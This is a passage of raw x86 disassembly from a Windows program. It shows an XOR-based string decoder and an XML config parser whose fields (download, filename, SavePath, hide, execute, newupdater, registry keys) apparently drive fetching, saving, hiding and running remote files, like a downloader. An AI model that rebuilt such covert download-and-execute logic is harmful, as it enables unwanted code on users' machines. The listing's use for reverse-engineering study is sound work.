		call	sub_43163C
		mov	[ebp+10h], esi
		xor	edi, edi
		shr	dword ptr [ebp+10h], 1
		jz	loc_4231D5


loc_423145:				; CODE XREF: sub_42309C+133j
		test	ebx, ebx
		jle	short loc_423161
		mov	eax, [ebp-10h]
		mov	ecx, [eax-8]
		mov	eax, edi
		cdq
		idiv	ecx
		test	eax, eax
		jle	short loc_423161
		mov	eax, edi
		cdq
		idiv	ecx
		mov	esi, edx
		jmp	short loc_423163
; ---------------------------------------------------------------------------


loc_423161:				; CODE XREF: sub_42309C+ABj
					; sub_42309C+BAj
		mov	esi, edi


loc_423163:				; CODE XREF: sub_42309C+C3j
		push	2
		lea	eax, [ebp-6024h]
		push	ebx
		push	eax
		lea	eax, [ebp+0Ch]
		lea	ecx, [ebp-24h]
		push	eax
		call	sub_421ACF
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 3
		call	sub_431648
		lea	ecx, [ebp+0Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_431642
		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-20h]
		call	sub_42322C
		mov	ecx, [ebp-10h]
		movsx	ecx, byte ptr [esi+ecx]
		xor	eax, ecx
		push	eax
		lea	eax, [ebp-12h]
		push	offset dword_4370FC
		push	eax
		call	dword_4331E0	; sprintf
		lea	eax, [ebp-12h]
		push	eax
		lea	eax, [ebp-2024h]
		push	eax
		call	sub_431770	; strcat
		add	esp, 14h
		inc	edi
		inc	ebx
		inc	ebx
		cmp	edi, [ebp+10h]
		jb	loc_423145


loc_4231D5:				; CODE XREF: sub_42309C+A3j
		lea	eax, [ebp-2024h]
		push	eax
		lea	eax, [ebp-4024h]
		push	eax
		call	sub_431758	; strcpy
		pop	ecx
		lea	eax, [ebp-4024h]
		pop	ecx
		mov	ecx, [ebp+8]
		push	eax
		call	sub_43162A
		mov	dword ptr [ebp-1Ch], 1
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_42309C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42322C	proc near		; CODE XREF: sub_42309C+FCp

var_80		= byte ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		and	[ebp+var_7C], 0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	[ebp+var_80], 30h
		mov	[ebp+var_78], 31h
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 32h
		mov	[ebp+var_6C], 2
		mov	[ebp+var_68], 33h
		mov	[ebp+var_64], 3
		mov	[ebp+var_60], 34h
		mov	[ebp+var_5C], 4
		mov	[ebp+var_58], 35h
		mov	[ebp+var_54], 5
		mov	[ebp+var_50], 36h
		mov	[ebp+var_4C], 6
		mov	[ebp+var_48], 37h
		mov	[ebp+var_44], 7
		mov	[ebp+var_40], 38h
		mov	[ebp+var_3C], 8
		mov	[ebp+var_38], 39h
		mov	[ebp+var_34], 9
		mov	[ebp+var_30], 41h
		mov	[ebp+var_2C], 0Ah
		mov	[ebp+var_28], 42h
		mov	[ebp+var_24], 0Bh
		mov	[ebp+var_20], 43h
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], 44h
		mov	[ebp+var_14], 0Dh
		mov	[ebp+var_10], 45h
		mov	[ebp+var_C], 0Eh
		mov	[ebp+var_8], 46h
		mov	[ebp+var_4], 0Fh
		call	dword_4331B0	; _strdup
		push	eax
		call	dword_4331B4	; _mbsupr
		pop	ecx
		xor	esi, esi
		cmp	byte ptr [eax],	30h
		pop	ecx
		mov	edx, eax
		jnz	short loc_423309
		cmp	byte ptr [eax+1], 58h
		jnz	short loc_423309
		lea	edx, [eax+2]


loc_423309:				; CODE XREF: sub_42322C+D2j
					; sub_42322C+D8j
		mov	byte ptr [ebp+arg_0+3],	1


loc_42330D:				; CODE XREF: sub_42322C+10Dj
		mov	cl, [edx]
		test	cl, cl
		jz	short loc_42333B
		xor	edi, edi
		lea	ebx, [ebp+var_80]


loc_423318:				; CODE XREF: sub_42322C+F9j
		cmp	cl, [ebx]
		jz	short loc_423327
		inc	edi
		add	ebx, 8
		cmp	edi, 10h
		jge	short loc_42333B
		jmp	short loc_423318
; ---------------------------------------------------------------------------


loc_423327:				; CODE XREF: sub_42322C+EEj
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423330
		shl	esi, 4


loc_423330:				; CODE XREF: sub_42322C+FFj
		or	esi, [ebp+edi*8+var_7C]
		inc	edx
		and	byte ptr [ebp+arg_0+3],	0
		jmp	short loc_42330D
; ---------------------------------------------------------------------------


loc_42333B:				; CODE XREF: sub_42322C+E5j
					; sub_42322C+F7j
		push	eax
		call	dword_4331D4	; free
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_42322C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42334C	proc near		; CODE XREF: sub_42852F+9EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	ecx
		mov	ecx, esp
		mov	[esp+18h+var_4], esp
		push	offset dword_437100
		call	sub_43162A
		mov	ecx, esi
		call	sub_424AD9
		mov	eax, [esp+14h+arg_4]
		xor	ebx, ebx
		cmp	eax, ebx
		jle	loc_423425
		mov	ecx, [esp+14h+arg_0]
		mov	edi, dword_4330CC
		mov	[esp+14h+arg_4], eax
		mov	ebp, offset byte_439CA0
		lea	esi, [ecx+4000h]


loc_423392:				; CODE XREF: sub_42334C+D3j
		lea	eax, [esi-4000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi-2000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		push	ebp
		push	esi
		call	edi	; lstrcpyA
		lea	eax, [esi+2000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+4000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+6000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0E000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0A000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+8000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [esi+0C000h]
		push	ebp
		push	eax
		call	edi	; lstrcpyA
		mov	[esi+10001h], bl
		mov	byte ptr [esi+10002h], 1
		mov	[esi+10003h], bl
		mov	[esi+10004h], bl
		mov	[esi+10000h], bl
		mov	[esi+10008h], ebx
		add	esi, 1400Ch
		dec	[esp+14h+arg_4]
		jnz	loc_423392


loc_423425:				; CODE XREF: sub_42334C+27j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
sub_42334C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42342D	proc near		; CODE XREF: sub_42852F+A23p
		mov	eax, offset loc_431F3D
		call	sub_43176A	; _EH_prolog
		mov	eax, 2134h
		call	sub_431700
		push	ebx
		push	esi
		push	edi
		mov	[ebp-28h], ecx
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-14h], ebx
		push	ecx
		mov	byte ptr [ebp-4], 1
		mov	ecx, esp
		mov	[ebp-2Ch], esp
		push	offset aParsexml ; "ParseXML()\n"
		call	sub_43162A
		mov	ecx, [ebp-28h]
		call	sub_424AD9
		cmp	[ebp+8], ebx
		jnz	short loc_42347D
		push	80004003h
		call	sub_431952


loc_42347D:				; CODE XREF: sub_42342D+44j
		mov	ecx, [ebp+8]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_42438B
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264AF
		lea	ecx, [ebp-1Ch]
		call	sub_4264A2
		mov	edi, offset aS	; "%s"


loc_4234A0:				; CODE XREF: sub_42342D+CA3j
		push	ebx
		lea	ecx, [ebp-14h]
		call	sub_4264DA
		test	al, al
		jnz	loc_4240D5
		push	offset aConfigversio_0 ; "configversion"
		lea	ecx, [ebp-0C0h]
		call	sub_4240F6
		mov	esi, eax
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 2
		jnz	short loc_4234D6
		push	80004003h
		call	sub_431952


loc_4234D6:				; CODE XREF: sub_42342D+9Dj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-84h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-84h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0C0h]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		test	bl, bl
		jz	loc_4235D7
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_423527
		push	80004003h
		call	sub_431952


loc_423527:				; CODE XREF: sub_42342D+EEj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0D0h]
		push	eax
		call	sub_4243EF
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 3
		test	ecx, ecx
		jz	short loc_423547
		call	sub_4241E8
		jmp	short loc_423549
; ---------------------------------------------------------------------------


loc_423547:				; CODE XREF: sub_42342D+111j
		xor	eax, eax


loc_423549:				; CODE XREF: sub_42342D+118j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0D0h]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-0C8h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		mov	byte ptr [ebp-4], 4
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aWrConfigversio ; "WR\\configversion"
		call	sub_43162A
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		push	ecx
		lea	eax, [ebp-2140h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_43162A
		lea	ecx, [ebp-100h]
		call	sub_426DB8
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_4235D7:				; CODE XREF: sub_42342D+E4j
		push	offset aPaid	; "paid"
		lea	ecx, [ebp-3Ch]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 6
		jnz	short loc_4235FA
		push	80004003h
		call	sub_431952


loc_4235FA:				; CODE XREF: sub_42342D+1C1j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-94h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		test	bl, bl
		jz	loc_4236F8
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_423648
		push	80004003h
		call	sub_431952


loc_423648:				; CODE XREF: sub_42342D+20Fj
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4243EF
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 7
		test	ecx, ecx
		jz	short loc_423668
		call	sub_4241E8
		jmp	short loc_42366A
; ---------------------------------------------------------------------------


loc_423668:				; CODE XREF: sub_42342D+232j
		xor	eax, eax


loc_42366A:				; CODE XREF: sub_42342D+239j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0C4h]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		mov	byte ptr [ebp-4], 8
		mov	ecx, esp
		mov	[ebp-0C8h], esp
		push	offset aWrP	; "WR\\p"
		call	sub_43162A
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 1
		call	sub_42692B
		push	ecx
		lea	eax, [ebp-2140h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_43162A
		lea	ecx, [ebp-140h]
		call	sub_426DB8
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 1
		call	sub_426ABF


loc_4236F8:				; CODE XREF: sub_42342D+205j
		push	offset aNextupdate ; "nextupdate"
		lea	ecx, [ebp-9Ch]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 0Ah
		jnz	short loc_42371E
		push	80004003h
		call	sub_431952


loc_42371E:				; CODE XREF: sub_42342D+2E5j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-44h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-44h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-9Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		test	bl, bl
		jz	loc_423809
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_423769
		push	80004003h
		call	sub_431952


loc_423769:				; CODE XREF: sub_42342D+330j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_4243EF
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 0Bh
		test	ecx, ecx
		jz	short loc_423786
		call	sub_4241E8
		jmp	short loc_423788
; ---------------------------------------------------------------------------


loc_423786:				; CODE XREF: sub_42342D+350j
		xor	eax, eax


loc_423788:				; CODE XREF: sub_42342D+357j
		push	eax
		lea	eax, [ebp-2140h]
		push	edi
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-4Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		lea	eax, [ebp-2140h]
		push	eax
		call	dword_4331A0	; atol
		mov	esi, eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_4331A4	; time
		pop	ecx
		add	[ebp-1Ch], esi
		pop	ecx
		push	80000000h
		push	1
		push	0
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aWrNextupdate ; "WR\\nextupdate"
		call	sub_43162A
		lea	ecx, [ebp-120h]
		call	sub_426584
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 0Ch
		call	sub_426843
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 1
		call	sub_4266D6


loc_423809:				; CODE XREF: sub_42342D+326j
		push	offset aDownload ; "download"
		lea	ecx, [ebp-54h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-14h], 0
		mov	byte ptr [ebp-4], 0Dh
		jnz	short loc_42382C
		push	80004003h
		call	sub_431952


loc_42382C:				; CODE XREF: sub_42342D+3F3j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-0DCh]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-0DCh]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		test	bl, bl
		jz	loc_4240A0
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_42387A
		push	80004003h
		call	sub_431952


loc_42387A:				; CODE XREF: sub_42342D+441j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-18h]
		push	eax
		call	sub_42438B
		mov	eax, [ebp-24h]
		mov	ecx, [ebp+0Ch]
		imul	eax, 1400Ch
		mov	byte ptr [ebp-4], 0Eh
		mov	ebx, 80004003h
		lea	edi, [eax+ecx+0A000h]


loc_4238A2:				; CODE XREF: sub_42342D+C5Dj
		push	0
		lea	ecx, [ebp-18h]
		call	sub_4264DA
		test	al, al
		jnz	loc_42408F
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_4238C0
		push	ebx
		call	sub_431952


loc_4238C0:				; CODE XREF: sub_42342D+48Bj
		mov	ecx, [ebp-18h]
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42438B
		mov	byte ptr [ebp-4], 0Fh


loc_4238D0:				; CODE XREF: sub_42342D+BDEj
		push	0
		lea	ecx, [ebp-10h]
		call	sub_4264DA
		test	al, al
		jnz	loc_424010
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4238EE
		push	ebx
		call	sub_431952


loc_4238EE:				; CODE XREF: sub_42342D+4B9j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_4243EF
		mov	ecx, [eax]
		mov	byte ptr [ebp-4], 10h
		test	ecx, ecx
		jz	short loc_42390E
		call	sub_4241E8
		jmp	short loc_423910
; ---------------------------------------------------------------------------


loc_42390E:				; CODE XREF: sub_42342D+4D8j
		xor	eax, eax


loc_423910:				; CODE XREF: sub_42342D+4DFj
		push	eax
		lea	eax, [ebp-2140h]
		push	offset aS	; "%s"
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp-0A4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		push	offset aRootkey	; "rootkey"
		lea	ecx, [ebp-0CCh]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 11h
		jnz	short loc_423957
		push	ebx
		call	sub_431952


loc_423957:				; CODE XREF: sub_42342D+522j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-5Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0CCh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_4239A2
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-2000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_4239A2:				; CODE XREF: sub_42342D+55Fj
		push	offset aKey	; "key"
		lea	ecx, [ebp-0ACh]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 12h
		jnz	short loc_4239C8
		push	80004003h
		call	sub_431952


loc_4239C8:				; CODE XREF: sub_42342D+58Fj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-64h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-64h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423A0D
		lea	eax, [ebp-2140h]
		push	eax
		push	edi
		call	dword_4330CC	; lstrcpyA


loc_423A0D:				; CODE XREF: sub_42342D+5D0j
		push	offset aKeyvalue ; "keyvalue"
		lea	ecx, [ebp-0D8h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 13h
		jnz	short loc_423A33
		push	80004003h
		call	sub_431952


loc_423A33:				; CODE XREF: sub_42342D+5FAj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-6Ch]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-6Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0D8h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423A7E
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+2000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423A7E:				; CODE XREF: sub_42342D+63Bj
		push	offset aRequiredfile ; "requiredfile"
		lea	ecx, [ebp-0B4h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 14h
		jnz	short loc_423AA4
		push	80004003h
		call	sub_431952


loc_423AA4:				; CODE XREF: sub_42342D+66Bj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-74h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-74h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0B4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423AEF
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+4000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423AEF:				; CODE XREF: sub_42342D+6ACj
		push	offset aFilename ; "filename"
		lea	ecx, [ebp-0D4h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 15h
		jnz	short loc_423B15
		push	80004003h
		call	sub_431952


loc_423B15:				; CODE XREF: sub_42342D+6DCj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-7Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0D4h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423B60
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-0A000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423B60:				; CODE XREF: sub_42342D+71Dj
		push	offset aParameters ; "parameters"
		lea	ecx, [ebp-0BCh]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 16h
		jnz	short loc_423B86
		push	80004003h
		call	sub_431952


loc_423B86:				; CODE XREF: sub_42342D+74Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-30h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-30h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0BCh]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423BD1
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-8000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423BD1:				; CODE XREF: sub_42342D+78Ej
		push	offset aSaveas	; "SaveAs"
		lea	ecx, [ebp-0E0h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 17h
		jnz	short loc_423BF7
		push	80004003h
		call	sub_431952


loc_423BF7:				; CODE XREF: sub_42342D+7BEj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-8Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0E0h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423C48
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-6000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423C48:				; CODE XREF: sub_42342D+805j
		push	offset aSavepath ; "SavePath"
		lea	ecx, [ebp-38h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 18h
		jnz	short loc_423C6B
		push	80004003h
		call	sub_431952


loc_423C6B:				; CODE XREF: sub_42342D+832j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-34h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-34h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-38h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423CB3
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi-4000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423CB3:				; CODE XREF: sub_42342D+870j
		push	offset aHide	; "hide"
		lea	ecx, [ebp-48h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 19h
		jnz	short loc_423CD6
		push	80004003h
		call	sub_431952


loc_423CD6:				; CODE XREF: sub_42342D+89Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-40h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-40h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-48h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423D23
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423D1C
		and	byte ptr [edi+0A001h], 0
		jmp	short loc_423D23
; ---------------------------------------------------------------------------


loc_423D1C:				; CODE XREF: sub_42342D+8E4j
		mov	byte ptr [edi+0A001h], 1


loc_423D23:				; CODE XREF: sub_42342D+8DBj
					; sub_42342D+8EDj
		push	offset aExecute	; "execute"
		lea	ecx, [ebp-58h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Ah
		jnz	short loc_423D46
		push	80004003h
		call	sub_431952


loc_423D46:				; CODE XREF: sub_42342D+90Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-50h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-50h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423D93
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423D8C
		and	byte ptr [edi+0A002h], 0
		jmp	short loc_423D93
; ---------------------------------------------------------------------------


loc_423D8C:				; CODE XREF: sub_42342D+954j
		mov	byte ptr [edi+0A002h], 1


loc_423D93:				; CODE XREF: sub_42342D+94Bj
					; sub_42342D+95Dj
		push	offset aWait	; "wait"
		lea	ecx, [ebp-68h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Bh
		jnz	short loc_423DB6
		push	80004003h
		call	sub_431952


loc_423DB6:				; CODE XREF: sub_42342D+97Dj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-60h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-60h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-68h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423E03
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423DFC
		and	byte ptr [edi+0A004h], 0
		jmp	short loc_423E03
; ---------------------------------------------------------------------------


loc_423DFC:				; CODE XREF: sub_42342D+9C4j
		mov	byte ptr [edi+0A004h], 1


loc_423E03:				; CODE XREF: sub_42342D+9BBj
					; sub_42342D+9CDj
		push	offset aNewupdater ; "newupdater"
		lea	ecx, [ebp-78h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Ch
		jnz	short loc_423E26
		push	80004003h
		call	sub_431952


loc_423E26:				; CODE XREF: sub_42342D+9EDj
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-70h]
		push	eax
